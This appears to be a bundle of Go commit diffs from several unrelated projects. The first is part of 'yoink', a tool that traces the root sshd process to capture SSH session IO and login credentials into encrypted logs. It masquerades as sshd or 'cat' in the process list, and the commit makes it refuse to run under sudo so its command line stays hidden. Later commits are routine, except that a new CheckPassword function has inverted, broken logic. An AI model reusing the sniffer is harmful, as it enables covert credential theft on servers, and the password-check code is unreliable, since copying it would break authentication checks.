		if *logPath == "" && *credPath == "" {
			log.Println("[-] warning: -key requires -log or -creds")
		} else {
			if output != os.Stderr {
				output, err = encryptStream(output, *key)
				if err != nil {
					log.Fatalf("[-] encryption init failed: %s", err)
				}
			}
			if credOut != nil {
				credOut, err = encryptStream(credOut, *key)
				if err != nil {
					log.Fatalf("[-] encryption init failed (-creds): %s", err)
				}
			}
		}
	}
	logger := log.New(output, "", 0)
	credLogger := log.New(credOut, "", log.LstdFlags)

	// find sshd
	sshd := 0
	if *pid > 0 {
		sshd = *pid
	} else {
		parentSshd, err := process.Filter(func(p process.Process) bool {
			if isSshd(p) {
				return isSshd(p) && !isSshd(p.Parent())
			}
			return false
		})
		if err != nil {
			log.Fatalf("[-] error searching for sshd: %s", err)
		}
		if len(parentSshd) != 1 {
			log.Fatalf("[-] need (1) root sshd, found (%d)", len(parentSshd))
		}
		sshd = parentSshd[0].Pid()
	}
	if *logPath != "" {
		log.Printf("[+] started with pid [%d]", os.Getpid())
	}
	logger.Printf("[+] started with pid [%d]", os.Getpid())
	logger.Printf("[+] attaching to root sshd at [%d]", sshd)
	if err := trace(sshd, logger, credLogger); err != nil {
		logger.Printf("[-] error during trace: %s", err)
	}
	output.Close()
}
<commit_msg>refuse to leak command line with sudo<commit_after>package main

import (
	"flag"
	"github.com/lunixbochs/gspt"
	"io"
	"log"
	"os"
	"strings"

	"./ghostrace/ghost/process"
)

var defaultTitle = "/usr/sbin/sshd -D"

func main() {
	fs := flag.NewFlagSet("yoink", flag.ExitOnError)
	title := fs.String("title", defaultTitle, "set process title")
	nullIO := fs.Bool("noio", false, "skip logging IO, still can log creds")
	logPath := fs.String("log", "", "set output log (disables stdout, will logrotate on startup: TREAD CAREFULLY)")
	credPath := fs.String("creds", "", "copy creds to separate log (O_APPEND and can encrypt with -key. no compression or logrotate)")
	key := fs.String("key", "", "encrypt logs with key (must be 32 hex bytes)")
	lzw := fs.Bool("lzw", false, "compress logs")
	pid := fs.Int("sshd", 0, "force root sshd pid")
	dump := fs.Bool("dump", false, "dump/decode log file(s) (default title changes to `vi`")
	tail := fs.Bool("tail", false, "tail log file(s) (default title changes to `vi`)")
	fs.Parse(os.Args[1:])
	log.SetFlags(0)

	proc, _ := process.FindPid(os.Getpid())
	if proc != nil {
		parent := proc.Parent()
		if parent != nil {
			cmdline := parent.Cmdline()
			if len(cmdline) > 0 && strings.Contains(cmdline[0], "sudo") {
				log.Fatal("[-] cowardly refusing to leak command line via sudo")
			}
		}
	}

	if (*dump || *tail) && *title == defaultTitle {
		*title = "cat"
	}

	// this changes our title in `ps`
	gspt.SetProcTitle(*title)

	// bail early if we're dumping or tailing
	if *dump || *tail {
		logs, creds, err := openLogs(*logPath, *credPath, *key, *lzw)
		if err != nil {
			log.Fatalf("[-] failed to open logs: %s", err)
		}
		if *dump {
			dumpLogs(logs, creds)
			return
		}
		if *tail {
			tailLogs(logs, creds)
			return
		}
	}

	// set up logging
	var output io.WriteCloser = os.Stderr
	var credOut io.WriteCloser = &Discard{}
	var err error
	if *nullIO {
		output = &Discard{}
	}
	if *logPath != "" {
		output, err = openLog(*logPath)
		if err != nil {
			log.Fatalf("[-] failed to open log %#v: %s", *logPath, err)
		}
	}
	if *credPath != "" {
		credOut, err = os.OpenFile(*credPath, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)
		if err != nil {
			log.Fatalf("[-] failed to open cred log %#v: %s", *credPath, err)
		}
	}
	if *lzw {
		if *logPath == "" {
			log.Println("[-] warning: -lzw requires -log")
		} else {
			output = compressStream(output)
		}
	}
	if *key != "" {
		if *logPath == "" && *credPath == "" {
			log.Println("[-] warning: -key requires -log or -creds")
		} else {
			if output != os.Stderr {
				output, err = encryptStream(output, *key)
				if err != nil {
					log.Fatalf("[-] encryption init failed: %s", err)
				}
			}
			if credOut != nil {
				credOut, err = encryptStream(credOut, *key)
				if err != nil {
					log.Fatalf("[-] encryption init failed (-creds): %s", err)
				}
			}
		}
	}
	logger := log.New(output, "", 0)
	credLogger := log.New(credOut, "", log.LstdFlags)

	// find sshd
	sshd := 0
	if *pid > 0 {
		sshd = *pid
	} else {
		parentSshd, err := process.Filter(func(p process.Process) bool {
			if isSshd(p) {
				return isSshd(p) && !isSshd(p.Parent())
			}
			return false
		})
		if err != nil {
			log.Fatalf("[-] error searching for sshd: %s", err)
		}
		if len(parentSshd) != 1 {
			log.Fatalf("[-] need (1) root sshd, found (%d)", len(parentSshd))
		}
		sshd = parentSshd[0].Pid()
	}
	if *logPath != "" {
		log.Printf("[+] started with pid [%d]", os.Getpid())
	}
	logger.Printf("[+] started with pid [%d]", os.Getpid())
	logger.Printf("[+] attaching to root sshd at [%d]", sshd)
	if err := trace(sshd, logger, credLogger); err != nil {
		logger.Printf("[-] error during trace: %s", err)
	}
	output.Close()
}
<|endoftext|>


<commit_before>package main

import (
	"context"
	"testing"

	"github.com/lightningnetwork/lnd/lnrpc"
	"github.com/roasbeef/btcd/rpctest"
	"github.com/roasbeef/btcrpcclient"
)

// TODO(roasbeef): randomize ports so can start multiple instance with each
// other, will need to catch up to rpctest upstream.

func TestNodeRestart(t *testing.T) {
	// Create a new instance of the network harness in order to initialize the
	// necessary state. We'll also need to create a temporary instance of
	// rpctest due to initialization dependancies.
	lndHarness, err := newNetworkHarness()
	if err != nil {
		t.Fatalf("unable to create lightning network harness: %v", err)
	}
	defer lndHarness.TearDownAll()

	handlers := &btcrpcclient.NotificationHandlers{
		OnTxAccepted: lndHarness.OnTxAccepted,
	}

	btcdHarness, err := rpctest.New(harnessNetParams, handlers, nil)
	if err != nil {
		t.Fatalf("unable to create mining node: %v", err)
	}
	defer btcdHarness.TearDown()
	if err := btcdHarness.SetUp(true, 50); err != nil {
		t.Fatalf("unable to set up mining node: %v", err)
	}
	if err := btcdHarness.Node.NotifyNewTransactions(false); err != nil {
		t.Fatalf("unable to request transaction notifications: %v", err)
	}

	if err := lndHarness.InitializeSeedNodes(btcdHarness, nil); err != nil {
		t.Fatalf("unable to initialize seed nodes: %v", err)
	}
	if err = lndHarness.SetUp(); err != nil {
		t.Fatalf("unable to set up test lightning network: %v", err)
	}

	// With the harness set up, we can test the node restart method,
	// asserting all data is properly persisted and recovered.
	ctx := context.Background()

	// First, we'll test restarting one of the initial seed nodes: Alice.
	alice := lndHarness.Alice
	aliceInfo, err := alice.GetInfo(ctx, &lnrpc.GetInfoRequest{})
	if err != nil {
		t.Fatalf("unable to query for alice's info: %v", err)
	}

	// With alice's node information stored, attempt to restart the node.
	if lndHarness.RestartNode(alice); err != nil {
		t.Fatalf("unable to resart node: %v", err)
	}

	// Query for alice's current information, it should be identical to
	// what we received above.
	aliceInfoRestart, err := alice.GetInfo(ctx, &lnrpc.GetInfoRequest{})
	if err != nil {
		t.Fatalf("unable to query for alice's info: %v", err)
	}

	if aliceInfo.IdentityPubkey != aliceInfoRestart.IdentityPubkey {
		t.Fatalf("node info after restart doesn't match: %v vs %v",
			aliceInfo.IdentityPubkey, aliceInfoRestart.IdentityPubkey)
	}
}
<commit_msg>netharness: remove test for the node restart method<commit_after>package main
<|endoftext|>


<commit_before>// +build go1.1,!go1.2

package parser

import (
	"strings"
)

func noGoFiles(line string) bool {
	return strings.HasPrefix(line, "can't load package: ") &&
		strings.Contains(line, ": no Go source files in ")
}
func buildFailed(line string) bool {
	return strings.HasPrefix(line, "# ") ||
		strings.Contains(line, "cannot find package") ||
		(strings.HasPrefix(line, "can't load package: ") && !strings.Contains(line, ": no Go source files in "))
}
func noTestFunctions(line string) bool {
	return line == "testing: warning: no tests to run"
}
func noTestFiles(line string) bool {
	return strings.HasPrefix(line, "?") && strings.Contains(line, "[no test files]")
}
func isNewTest(line string) bool {
	return strings.HasPrefix(line, "=== ")
}
func isTestResult(line string) bool {
	return strings.HasPrefix(line, "--- ")
}
func isPackageReport(line string) bool {
	return (strings.HasPrefix(line, "FAIL") ||
		strings.HasPrefix(line, "exit status") ||
		strings.HasPrefix(line, "PASS") ||
		strings.HasPrefix(line, "ok  \t"))
}

func packageFailed(line string) bool {
	return strings.HasPrefix(line, "FAIL\t")
}
func packagePassed(line string) bool {
	return strings.HasPrefix(line, "ok  \t")
}
<commit_msg>Succeeding build on Go 1.1 (coverage summary rule)<commit_after>// +build go1.1,!go1.2

package parser

import (
	"strings"
)

func noGoFiles(line string) bool {
	return strings.HasPrefix(line, "can't load package: ") &&
		strings.Contains(line, ": no Go source files in ")
}
func buildFailed(line string) bool {
	return strings.HasPrefix(line, "# ") ||
		strings.Contains(line, "cannot find package") ||
		(strings.HasPrefix(line, "can't load package: ") && !strings.Contains(line, ": no Go source files in "))
}
func noTestFunctions(line string) bool {
	return line == "testing: warning: no tests to run"
}
func noTestFiles(line string) bool {
	return strings.HasPrefix(line, "?") && strings.Contains(line, "[no test files]")
}
func isNewTest(line string) bool {
	return strings.HasPrefix(line, "=== ")
}
func isTestResult(line string) bool {
	return strings.HasPrefix(line, "--- ")
}
func isPackageReport(line string) bool {
	return (strings.HasPrefix(line, "FAIL") ||
		strings.HasPrefix(line, "exit status") ||
		strings.HasPrefix(line, "PASS") ||
		strings.HasPrefix(line, "ok  \t"))
}

func packageFailed(line string) bool {
	return strings.HasPrefix(line, "FAIL\t")
}
func packagePassed(line string) bool {
	return strings.HasPrefix(line, "ok  \t")
}
func isCoverageSummary(line string) bool {
	return false
}
<|endoftext|>


<commit_before>package ast

type SelectStatement struct {
	Cores  []Node
	Orders []Node
	Limit  Node
	Offset Node
	Lock   Node
	With   Node
}

func (n SelectStatement) Visit(v Visitor) (s string) {
	s = v.GetSelectStatement(n)
	return
}

func NewSelectStatement() (n SelectStatement) {
	n.Cores = []Node{SelectCore{}}
	return
}
<commit_msg>ensure select statement initializes JoinSouce<commit_after>package ast

type SelectStatement struct {
	Cores  []Node
	Orders []Node
	Limit  Node
	Offset Node
	Lock   Node
	With   Node
}

func (n SelectStatement) Visit(v Visitor) (s string) {
	s = v.GetSelectStatement(n)
	return
}

func NewSelectStatement() (n SelectStatement) {
	js := JoinSource{nil, make([]Node, 0)}
	n.Cores = []Node{SelectCore{Source: js}}
	return
}
<|endoftext|>


<commit_before>package db

import (
	"database/sql"
	"encoding/json"
	"fmt"
	"time"

	"code.cloudfoundry.org/lager"
	sq "github.com/Masterminds/squirrel"
	"github.com/concourse/concourse/atc"
	"github.com/concourse/concourse/atc/creds"
	"github.com/concourse/concourse/atc/db/lock"
)

//go:generate counterfeiter . Checkable

type Checkable interface {
	PipelineRef

	Name() string
	TeamID() int
	ResourceConfigScopeID() int
	TeamName() string
	Type() string
	Source() atc.Source
	Tags() atc.Tags
	CheckEvery() string
	CheckTimeout() string
	LastCheckEndTime() time.Time
	CurrentPinnedVersion() atc.Version

	HasWebhook() bool

	SetResourceConfig(
		atc.Source,
		atc.VersionedResourceTypes,
	) (ResourceConfigScope, error)

	SetCheckSetupError(error) error
}

//go:generate counterfeiter . CheckFactory

type CheckFactory interface {
	Check(int) (Check, bool, error)
	StartedChecks() ([]Check, error)
	CreateCheck(int, bool, atc.Plan, CheckMetadata) (Check, bool, error)
	TryCreateCheck(lager.Logger, Checkable, ResourceTypes, atc.Version, bool) (Check, bool, error)
	Resources() ([]Resource, error)
	ResourceTypes() ([]ResourceType, error)
	AcquireScanningLock(lager.Logger) (lock.Lock, bool, error)
	NotifyChecker() error
}

type checkFactory struct {
	conn        Conn
	lockFactory lock.LockFactory

	secrets             creds.Secrets
	varSourcePool       creds.VarSourcePool
	defaultCheckTimeout time.Duration
}

func NewCheckFactory(
	conn Conn,
	lockFactory lock.LockFactory,
	secrets creds.Secrets,
	varSourcePool creds.VarSourcePool,
	defaultCheckTimeout time.Duration,
) CheckFactory {
	return &checkFactory{
		conn:        conn,
		lockFactory: lockFactory,

		secrets:             secrets,
		varSourcePool:       varSourcePool,
		defaultCheckTimeout: defaultCheckTimeout,
	}
}

func (c *checkFactory) NotifyChecker() error {
	return c.conn.Bus().Notify(atc.ComponentLidarChecker)
}

func (c *checkFactory) AcquireScanningLock(
	logger lager.Logger,
) (lock.Lock, bool, error) {
	return c.lockFactory.Acquire(
		logger,
		lock.NewResourceScanningLockID(),
	)
}

func (c *checkFactory) Check(id int) (Check, bool, error) {
	check := newEmptyCheck(c.conn, c.lockFactory)
	row := checksQuery.
		Where(sq.Eq{"c.id": id}).
		RunWith(c.conn).
		QueryRow()

	err := scanCheck(check, row)
	if err != nil {
		if err == sql.ErrNoRows {
			return nil, false, nil
		}
		return nil, false, err
	}

	return check, true, nil
}

func (c *checkFactory) StartedChecks() ([]Check, error) {
	rows, err := checksQuery.
		Where(sq.Eq{"status": CheckStatusStarted}).
		OrderBy("c.id").
		RunWith(c.conn).
		Query()
	if err != nil {
		return nil, err
	}

	var checks []Check

	for rows.Next() {
		check := newEmptyCheck(c.conn, c.lockFactory)
		err := scanCheck(check, rows)
		if err != nil {
			return nil, err
		}

		checks = append(checks, check)
	}

	return checks, nil
}

func (c *checkFactory) TryCreateCheck(logger lager.Logger, checkable Checkable, resourceTypes ResourceTypes, fromVersion atc.Version, manuallyTriggered bool) (Check, bool, error) {

	var err error

	parentType, found := resourceTypes.Parent(checkable)
	if found {
		if parentType.Version() == nil {
			return nil, false, fmt.Errorf("resource's parent type '%s' has no version", parentType.Name())
		}
	}

	timeout := c.defaultCheckTimeout
	if to := checkable.CheckTimeout(); to != "" {
		timeout, err = time.ParseDuration(to)
		if err != nil {
			return nil, false, err
		}
	}

	pp, found, err := checkable.Pipeline()
	if err != nil {
		return nil, false, fmt.Errorf("failed to reload pipeline: %s", err.Error())
	}
	if !found {
		return nil, false, fmt.Errorf("pipeline not found")
	}

	varss, err := pp.Variables(logger, c.secrets, c.varSourcePool)
	if err != nil {
		return nil, false, err
	}

	source, err := creds.NewSource(varss, checkable.Source()).Evaluate()
	if err != nil {
		return nil, false, err
	}

	filteredTypes := resourceTypes.Filter(checkable).Deserialize()
	versionedResourceTypes, err := creds.NewVersionedResourceTypes(varss, filteredTypes).Evaluate()
	if err != nil {
		return nil, false, err
	}

	// This could have changed based on new variable interpolation so update it
	resourceConfigScope, err := checkable.SetResourceConfig(source, versionedResourceTypes)
	if err != nil {
		return nil, false, err
	}

	if fromVersion == nil {
		rcv, found, err := resourceConfigScope.LatestVersion()
		if err != nil {
			return nil, false, err
		}

		if found {
			fromVersion = atc.Version(rcv.Version())
		}
	}

	plan := atc.Plan{
		Check: &atc.CheckPlan{
			Name:        checkable.Name(),
			Type:        checkable.Type(),
			Source:      checkable.Source(),
			Tags:        checkable.Tags(),
			Timeout:     timeout.String(),
			FromVersion: fromVersion,

			VersionedResourceTypes: filteredTypes,
		},
	}

	meta := CheckMetadata{
		TeamID:             checkable.TeamID(),
		TeamName:           checkable.TeamName(),
		PipelineName:       checkable.PipelineName(),
		PipelineID:         checkable.PipelineID(),
		ResourceConfigID:   resourceConfigScope.ResourceConfig().ID(),
		BaseResourceTypeID: resourceConfigScope.ResourceConfig().OriginBaseResourceType().ID,
	}

	check, created, err := c.CreateCheck(
		resourceConfigScope.ID(),
		manuallyTriggered,
		plan,
		meta,
	)
	if err != nil {
		return nil, false, err
	}

	return check, created, nil
}

func (c *checkFactory) CreateCheck(
	resourceConfigScopeID int,
	manuallyTriggered bool,
	plan atc.Plan,
	meta CheckMetadata,
) (Check, bool, error) {
	tx, err := c.conn.Begin()
	if err != nil {
		return nil, false, err
	}

	defer Rollback(tx)

	planPayload, err := json.Marshal(plan)
	if err != nil {
		return nil, false, err
	}

	es := c.conn.EncryptionStrategy()
	encryptedPayload, nonce, err := es.Encrypt(planPayload)
	if err != nil {
		return nil, false, err
	}

	metadata, err := json.Marshal(meta)
	if err != nil {
		return nil, false, err
	}

	var id int
	var createTime time.Time
	err = psql.Insert("checks").
		Columns(
			"resource_config_scope_id",
			"schema",
			"status",
			"manually_triggered",
			"plan",
			"nonce",
			"metadata",
		).
		Values(
			resourceConfigScopeID,
			schema,
			CheckStatusStarted,
			manuallyTriggered,
			encryptedPayload,
			nonce,
			metadata,
		).
		Suffix(`
			ON CONFLICT DO NOTHING
			RETURNING id, create_time
		`).
		RunWith(tx).
		QueryRow().
		Scan(&id, &createTime)
	if err != nil {
		if err == sql.ErrNoRows {
			return nil, false, nil
		}
		return nil, false, err
	}

	err = tx.Commit()
	if err != nil {
		return nil, false, err
	}

	return &check{
		id:                    id,
		resourceConfigScopeID: resourceConfigScopeID,
		schema:                schema,
		status:                CheckStatusStarted,
		plan:                  plan,
		createTime:            createTime,
		metadata:              meta,

		pipelineRef: pipelineRef{
			conn:         c.conn,
			lockFactory:  c.lockFactory,
			pipelineID:   meta.PipelineID,
			pipelineName: meta.PipelineName,
		},
	}, true, err
}

func (c *checkFactory) Resources() ([]Resource, error) {
	var resources []Resource

	rows, err := resourcesQuery.
		Join("(select DISTINCT(resource_id) FROM job_inputs) ji ON ji.resource_id = r.id").
		Where(sq.Eq{"p.paused": false}).
		RunWith(c.conn).
		Query()

	if err != nil {
		return nil, err
	}

	defer Close(rows)

	for rows.Next() {
		r := newEmptyResource(c.conn, c.lockFactory)
		err = scanResource(r, rows)
		if err != nil {
			return nil, err
		}

		resources = append(resources, r)
	}

	return resources, nil
}

func (c *checkFactory) ResourceTypes() ([]ResourceType, error) {
	var resourceTypes []ResourceType

	rows, err := resourceTypesQuery.
		RunWith(c.conn).
		Query()

	if err != nil {
		return nil, err
	}

	defer Close(rows)

	for rows.Next() {
		r := newEmptyResourceType(c.conn, c.lockFactory)
		err = scanResourceType(r, rows)
		if err != nil {
			return nil, err
		}

		resourceTypes = append(resourceTypes, r)
	}

	return resourceTypes, nil
}
<commit_msg>Update atc/db/check_factory.go<commit_after>package db

import (
	"database/sql"
	"encoding/json"
	"fmt"
	"time"

	"code.cloudfoundry.org/lager"
	sq "github.com/Masterminds/squirrel"
	"github.com/concourse/concourse/atc"
	"github.com/concourse/concourse/atc/creds"
	"github.com/concourse/concourse/atc/db/lock"
)

//go:generate counterfeiter . Checkable

type Checkable interface {
	PipelineRef

	Name() string
	TeamID() int
	ResourceConfigScopeID() int
	TeamName() string
	Type() string
	Source() atc.Source
	Tags() atc.Tags
	CheckEvery() string
	CheckTimeout() string
	LastCheckEndTime() time.Time
	CurrentPinnedVersion() atc.Version

	HasWebhook() bool

	SetResourceConfig(
		atc.Source,
		atc.VersionedResourceTypes,
	) (ResourceConfigScope, error)

	SetCheckSetupError(error) error
}

//go:generate counterfeiter . CheckFactory

type CheckFactory interface {
	Check(int) (Check, bool, error)
	StartedChecks() ([]Check, error)
	CreateCheck(int, bool, atc.Plan, CheckMetadata) (Check, bool, error)
	TryCreateCheck(lager.Logger, Checkable, ResourceTypes, atc.Version, bool) (Check, bool, error)
	Resources() ([]Resource, error)
	ResourceTypes() ([]ResourceType, error)
	AcquireScanningLock(lager.Logger) (lock.Lock, bool, error)
	NotifyChecker() error
}

type checkFactory struct {
	conn        Conn
	lockFactory lock.LockFactory

	secrets             creds.Secrets
	varSourcePool       creds.VarSourcePool
	defaultCheckTimeout time.Duration
}

func NewCheckFactory(
	conn Conn,
	lockFactory lock.LockFactory,
	secrets creds.Secrets,
	varSourcePool creds.VarSourcePool,
	defaultCheckTimeout time.Duration,
) CheckFactory {
	return &checkFactory{
		conn:        conn,
		lockFactory: lockFactory,

		secrets:             secrets,
		varSourcePool:       varSourcePool,
		defaultCheckTimeout: defaultCheckTimeout,
	}
}

func (c *checkFactory) NotifyChecker() error {
	return c.conn.Bus().Notify(atc.ComponentLidarChecker)
}

func (c *checkFactory) AcquireScanningLock(
	logger lager.Logger,
) (lock.Lock, bool, error) {
	return c.lockFactory.Acquire(
		logger,
		lock.NewResourceScanningLockID(),
	)
}

func (c *checkFactory) Check(id int) (Check, bool, error) {
	check := newEmptyCheck(c.conn, c.lockFactory)
	row := checksQuery.
		Where(sq.Eq{"c.id": id}).
		RunWith(c.conn).
		QueryRow()

	err := scanCheck(check, row)
	if err != nil {
		if err == sql.ErrNoRows {
			return nil, false, nil
		}
		return nil, false, err
	}

	return check, true, nil
}

func (c *checkFactory) StartedChecks() ([]Check, error) {
	rows, err := checksQuery.
		Where(sq.Eq{"status": CheckStatusStarted}).
		OrderBy("c.id").
		RunWith(c.conn).
		Query()
	if err != nil {
		return nil, err
	}

	var checks []Check

	for rows.Next() {
		check := newEmptyCheck(c.conn, c.lockFactory)
		err := scanCheck(check, rows)
		if err != nil {
			return nil, err
		}

		checks = append(checks, check)
	}

	return checks, nil
}

func (c *checkFactory) TryCreateCheck(logger lager.Logger, checkable Checkable, resourceTypes ResourceTypes, fromVersion atc.Version, manuallyTriggered bool) (Check, bool, error) {

	var err error

	parentType, found := resourceTypes.Parent(checkable)
	if found {
		if parentType.Version() == nil {
			return nil, false, fmt.Errorf("resource type '%s' has no version", parentType.Name())
		}
	}

	timeout := c.defaultCheckTimeout
	if to := checkable.CheckTimeout(); to != "" {
		timeout, err = time.ParseDuration(to)
		if err != nil {
			return nil, false, err
		}
	}

	pp, found, err := checkable.Pipeline()
	if err != nil {
		return nil, false, fmt.Errorf("failed to reload pipeline: %s", err.Error())
	}
	if !found {
		return nil, false, fmt.Errorf("pipeline not found")
	}

	varss, err := pp.Variables(logger, c.secrets, c.varSourcePool)
	if err != nil {
		return nil, false, err
	}

	source, err := creds.NewSource(varss, checkable.Source()).Evaluate()
	if err != nil {
		return nil, false, err
	}

	filteredTypes := resourceTypes.Filter(checkable).Deserialize()
	versionedResourceTypes, err := creds.NewVersionedResourceTypes(varss, filteredTypes).Evaluate()
	if err != nil {
		return nil, false, err
	}

	// This could have changed based on new variable interpolation so update it
	resourceConfigScope, err := checkable.SetResourceConfig(source, versionedResourceTypes)
	if err != nil {
		return nil, false, err
	}

	if fromVersion == nil {
		rcv, found, err := resourceConfigScope.LatestVersion()
		if err != nil {
			return nil, false, err
		}

		if found {
			fromVersion = atc.Version(rcv.Version())
		}
	}

	plan := atc.Plan{
		Check: &atc.CheckPlan{
			Name:        checkable.Name(),
			Type:        checkable.Type(),
			Source:      checkable.Source(),
			Tags:        checkable.Tags(),
			Timeout:     timeout.String(),
			FromVersion: fromVersion,

			VersionedResourceTypes: filteredTypes,
		},
	}

	meta := CheckMetadata{
		TeamID:             checkable.TeamID(),
		TeamName:           checkable.TeamName(),
		PipelineName:       checkable.PipelineName(),
		PipelineID:         checkable.PipelineID(),
		ResourceConfigID:   resourceConfigScope.ResourceConfig().ID(),
		BaseResourceTypeID: resourceConfigScope.ResourceConfig().OriginBaseResourceType().ID,
	}

	check, created, err := c.CreateCheck(
		resourceConfigScope.ID(),
		manuallyTriggered,
		plan,
		meta,
	)
	if err != nil {
		return nil, false, err
	}

	return check, created, nil
}

func (c *checkFactory) CreateCheck(
	resourceConfigScopeID int,
	manuallyTriggered bool,
	plan atc.Plan,
	meta CheckMetadata,
) (Check, bool, error) {
	tx, err := c.conn.Begin()
	if err != nil {
		return nil, false, err
	}

	defer Rollback(tx)

	planPayload, err := json.Marshal(plan)
	if err != nil {
		return nil, false, err
	}

	es := c.conn.EncryptionStrategy()
	encryptedPayload, nonce, err := es.Encrypt(planPayload)
	if err != nil {
		return nil, false, err
	}

	metadata, err := json.Marshal(meta)
	if err != nil {
		return nil, false, err
	}

	var id int
	var createTime time.Time
	err = psql.Insert("checks").
		Columns(
			"resource_config_scope_id",
			"schema",
			"status",
			"manually_triggered",
			"plan",
			"nonce",
			"metadata",
		).
		Values(
			resourceConfigScopeID,
			schema,
			CheckStatusStarted,
			manuallyTriggered,
			encryptedPayload,
			nonce,
			metadata,
		).
		Suffix(`
			ON CONFLICT DO NOTHING
			RETURNING id, create_time
		`).
		RunWith(tx).
		QueryRow().
		Scan(&id, &createTime)
	if err != nil {
		if err == sql.ErrNoRows {
			return nil, false, nil
		}
		return nil, false, err
	}

	err = tx.Commit()
	if err != nil {
		return nil, false, err
	}

	return &check{
		id:                    id,
		resourceConfigScopeID: resourceConfigScopeID,
		schema:                schema,
		status:                CheckStatusStarted,
		plan:                  plan,
		createTime:            createTime,
		metadata:              meta,

		pipelineRef: pipelineRef{
			conn:         c.conn,
			lockFactory:  c.lockFactory,
			pipelineID:   meta.PipelineID,
			pipelineName: meta.PipelineName,
		},
	}, true, err
}

func (c *checkFactory) Resources() ([]Resource, error) {
	var resources []Resource

	rows, err := resourcesQuery.
		Join("(select DISTINCT(resource_id) FROM job_inputs) ji ON ji.resource_id = r.id").
		Where(sq.Eq{"p.paused": false}).
		RunWith(c.conn).
		Query()

	if err != nil {
		return nil, err
	}

	defer Close(rows)

	for rows.Next() {
		r := newEmptyResource(c.conn, c.lockFactory)
		err = scanResource(r, rows)
		if err != nil {
			return nil, err
		}

		resources = append(resources, r)
	}

	return resources, nil
}

func (c *checkFactory) ResourceTypes() ([]ResourceType, error) {
	var resourceTypes []ResourceType

	rows, err := resourceTypesQuery.
		RunWith(c.conn).
		Query()

	if err != nil {
		return nil, err
	}

	defer Close(rows)

	for rows.Next() {
		r := newEmptyResourceType(c.conn, c.lockFactory)
		err = scanResourceType(r, rows)
		if err != nil {
			return nil, err
		}

		resourceTypes = append(resourceTypes, r)
	}

	return resourceTypes, nil
}
<|endoftext|>


<commit_before>package hashers

import (
	"fmt"
	"strings"
)

const HASH_SEPARATOR = "$"

type PasswordSummary struct {
	Algorithm string
	Salt      string
	Hash      string
}

type PasswordHasher interface {
	Encode(password string, salt string) string
	Verify(password string, encoded string) bool
	SafeSummary(encoded string) PasswordSummary
	Algorithm() string
	Salt() string
}

var PasswordHashers = []PasswordHasher{
	&MD5PasswordHasher{},
	&SHA1PasswordHasher{},
	&PBKDF2PasswordHasher{},
	&PBKDF2SHA1PasswordHasher{},
}

func IsPasswordUsable(encoded string) bool {
	if strings.HasPrefix(encoded, UNUSABLE_PASSWORD_PREFIX) {
		return false
	}

	_, err := IdentityHasher(encoded)

	if err != nil {
		return false
	}

	return true
}

func IdentityHasher(encoded string) (PasswordHasher, error) {
	var algorithm = ""

	if (len(encoded) == 32 && !strings.Contains(encoded, "$")) || (len(encoded) == 37 && strings.HasPrefix(encoded, "md5$$")) {
		algorithm = "unsalted_md5"
	}

	if len(encoded) == 46 && strings.HasPrefix(encoded, "sha1$$") {
		algorithm = "unsalted_sha1"
	}

	if algorithm == "" {
		algorithm = strings.Split(encoded, "$")[0]
	}

	hasher, ok := OrderedPasswordHashers()[algorithm]

	if !ok {
		return nil, fmt.Errorf("%s is not a valid hasher", algorithm)
	}

	return hasher, nil
}

func OrderedPasswordHashers() map[string]PasswordHasher {
	results := make(map[string]PasswordHasher)

	for _, hasher := range PasswordHashers {
		results[hasher.Algorithm()] = hasher
	}

	return results
}

func MakePassword(password string, salt string, hasher string) (string, error) {
	passwordHasher, ok := OrderedPasswordHashers()[hasher]

	if !ok {
		return "", fmt.Errorf("%s is not a valid hasher", hasher)
	}

	if salt == "" {
		salt = passwordHasher.Salt()
	}

	return passwordHasher.Encode(password, salt), nil
}
<commit_msg>Implement CheckPassword utility<commit_after>package hashers

import (
	"fmt"
	"strings"
)

const HASH_SEPARATOR = "$"

type PasswordSummary struct {
	Algorithm string
	Salt      string
	Hash      string
}

type PasswordHasher interface {
	Encode(password string, salt string) string
	Verify(password string, encoded string) bool
	SafeSummary(encoded string) PasswordSummary
	Algorithm() string
	Salt() string
}

var PasswordHashers = []PasswordHasher{
	&MD5PasswordHasher{},
	&SHA1PasswordHasher{},
	&PBKDF2PasswordHasher{},
	&PBKDF2SHA1PasswordHasher{},
}

func CheckPassword(password string, encoded string) bool {
	if IsPasswordUsable(password) {
		return false
	}

	hasher, err := IdentityHasher(encoded)

	if err != nil {
		return false
	}

	return hasher.Verify(password, encoded)
}

func IsPasswordUsable(encoded string) bool {
	if strings.HasPrefix(encoded, UNUSABLE_PASSWORD_PREFIX) {
		return false
	}

	_, err := IdentityHasher(encoded)

	if err != nil {
		return false
	}

	return true
}

func IdentityHasher(encoded string) (PasswordHasher, error) {
	var algorithm = ""

	if (len(encoded) == 32 && !strings.Contains(encoded, "$")) || (len(encoded) == 37 && strings.HasPrefix(encoded, "md5$$")) {
		algorithm = "unsalted_md5"
	}

	if len(encoded) == 46 && strings.HasPrefix(encoded, "sha1$$") {
		algorithm = "unsalted_sha1"
	}

	if algorithm == "" {
		algorithm = strings.Split(encoded, "$")[0]
	}

	hasher, ok := OrderedPasswordHashers()[algorithm]

	if !ok {
		return nil, fmt.Errorf("%s is not a valid hasher", algorithm)
	}

	return hasher, nil
}

func OrderedPasswordHashers() map[string]PasswordHasher {
	results := make(map[string]PasswordHasher)

	for _, hasher := range PasswordHashers {
		results[hasher.Algorithm()] = hasher
	}

	return results
}

func MakePassword(password string, salt string, hasher string) (string, error) {
	passwordHasher, ok := OrderedPasswordHashers()[hasher]

	if !ok {
		return "", fmt.Errorf("%s is not a valid hasher", hasher)
	}

	if salt == "" {
		salt = passwordHasher.Salt()
	}

	return passwordHasher.Encode(password, salt), nil
}
<|endoftext|>